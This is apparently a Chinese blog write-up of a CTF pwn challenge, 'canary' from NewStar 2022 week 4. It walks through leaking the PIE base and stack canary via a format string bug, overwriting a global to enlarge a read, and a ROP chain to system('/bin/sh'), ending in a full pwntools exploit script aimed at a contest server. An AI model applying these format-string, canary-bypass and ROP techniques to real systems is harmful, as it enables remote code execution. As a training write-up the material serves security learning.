2022NewStar新生赛week4—canary

先看看开了什么保护机制

打开64位ida看看

给了两组read和printf以及一个read,前两个这种read和printf,而且printf有格式化字符漏洞,也就是说我们可以泄露栈上的内容或者任一地址写,而且是有两次机会,接下来我们看看第三个read,它第三个参数是money变量,我们双击这个变量看看

是个全局变量,那么我们需要把这个变量的值修改的大点,这个我们可以用格式化字符任意地址写,问题不大,不过前提是地址要知道,我们程序开了地址随机化,所以我们需要先泄露一个程序地址,然后去修改这个变量,这样子就可以栈溢出了,接下来我们看看后门函数有没有

有个叫做backdoor的,点进去看看

有个command,点进去看看,要是/bin/sh就好了

可惜了,是echo,那么这个后门就没用了,我们看看有没有/bin/sh字符串

有!那我们就可以自己调用system('/bin/sh')了,然后还有一点就是要泄露出canary来,这个都不是什么大问题,我们先看看栈上哪里有程序基地址

看看,哪些红色的,0x55555这种的一般都是程序地址,这个都是经验之谈,你要是不放心我们vmmap一下看看

第一行就是程序基地址,你看和它相关的是不是就是我说的那几个,我选的是0x7fffffffddd8位置上的0x555555400840,算了一下他是比程序基地址多了0x840,格式化字符泄露的偏移是9,然后canary的偏移是11,剩下的就是格式化字符任一地址写和rop了

from pwn import*
p=remote('node4.buuoj.cn',25730)
#p=process('./canary')
#gdb.attach(p)
p.recvuntil(b'50\n')
payload1=b'%9$p%11$p'
p.sendline(payload1)
#print(p.recvline())
code_add=int(p.recv(14),16)-0x840
print(hex(code_add))
canary=int(p.recv(18),16)
print(hex(canary))
pop_rdi=code_add+0xb33
binsh=code_add+0x202020
system=code_add+0x800
ret=code_add+0x7d1
p.recvuntil(b'the canary\n')
payload=b'aaaaa%96c%9$naaaaaaaaaaa'+p64(code_add+0x20206c)
p.send(payload)
payload=b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
posted @ 2022-10-17 20:22  予柒  阅读(53)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/